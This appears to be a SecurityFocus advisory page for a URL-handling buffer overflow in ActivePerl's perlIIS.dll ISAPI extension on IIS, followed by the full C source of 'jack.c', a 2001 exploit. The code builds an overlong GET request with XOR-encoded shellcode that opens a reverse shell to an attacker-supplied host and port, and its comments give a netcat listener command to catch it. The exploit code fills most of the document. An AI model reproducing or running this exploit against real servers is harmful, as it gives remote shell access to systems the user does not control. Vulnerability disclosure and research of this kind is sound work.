source: http://www.securityfocus.com/bid/3526/info
 
ActivePerl is an implementation of the Perl scripting language for Microsoft Windows systems developed by Activestate. ActivePerl allows for high-performance integration with IIS using a DLL called 'perlIIS.dll' to handle a '.plx' ISAPI extension.
 
perlIIS.dll contains a remotely exploitable buffer overflow vulnerability in handling of the URL string. It is due to an unbounded string copy operation.
 
All versions of ActivePerl prior to build 630 of ActivePerl 5.6.1 are believed to be vulnerable. This vulnerability requires that the option "Check that file exists" be disabled. This option is enabled by default.
 
Exploitation of this vulnerability may allow for remote attackers to gain access to the target server.

Jack for Win32:





/*	jack.c - Active Perl ISAPI overflow exploit by
Indigo <[email protected]> 2001

	Usage: jack <victim host> <victim port>
<attacker host> <attacker port>

	Before executing jack start up a netcat
listener with the port set to 'attacker port'

	eg:	nc -l -p 'attacker port'

	You may need to hit return a few times to
get the prompt up

	main shellcode adapted from jill.c by dark
spyrit <[email protected]>

	Greets to:

	Morphsta, Br00t, Macavity, Jacob &
Monkfish...Not forgetting D-Niderlunds
*/


#include <windows.h>
#include <stdio.h>
#include <winsock.h>


void main(int argc, char **argv)
{
	SOCKET s = 0;
	WSADATA wsaData;
	int x;
	unsigned short int      a_port;
    unsigned long           a_host;

unsigned char shellcode[] =

"\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f"			//GET /cgi-bin/

"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"		//offset to return address
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x8b\x94\xf8\x77\x42\x42\x42\x42"

"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3e\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x55\x3d\x97\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a"

"\x2E\x70\x6C\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x0D\x0A\x00";		//.pl HTTP/1.0\n\n

	printf ("\njack - Active Perl ISAPI overflow launcher\nby Indigo <[email protected]> 2001\n\n");

	if (argc < 2)
	{
		printf ("Usage: %s <victim host> <victim port> <attacker host> <attacker port>\n", argv[0]);
		exit (0);
	}

	a_port = htons(atoi(argv[4]));
    a_port^=0x9595;

    a_host = inet_addr(argv[3]);
    a_host^=0x95959595;

    shellcode[745]= (a_port) & 0xff;
    shellcode[746]= (a_port >> 8) & 0xff;

    shellcode[750]= (a_host) & 0xff;
    shellcode[751]= (a_host >> 8) & 0xff;
    shellcode[752]= (a_host >> 16) & 0xff;
    shellcode[753]= (a_host >> 24) & 0xff;

	WSAStartup (MAKEWORD(2,0), &wsaData);

	s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (INVALID_SOCKET != s)
	{
		SOCKADDR_IN anAddr;
		anAddr.sin_family = AF_INET;
		anAddr.sin_port = htons (atoi(argv[2]));
		anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

		if (connect(s, (struct sockaddr *) &anAddr, sizeof (struct sockaddr)) == 0)
		{
			printf ("Sending exploit....");

			if ((x = send (s, shellcode, strlen(shellcode), 0)) == 0)
			{
				printf ("send: error sending first packet\n\n");
				exit (0);
			}

			printf ("Exploit sent.\n\n");

		}
		closesocket(s);
	}
}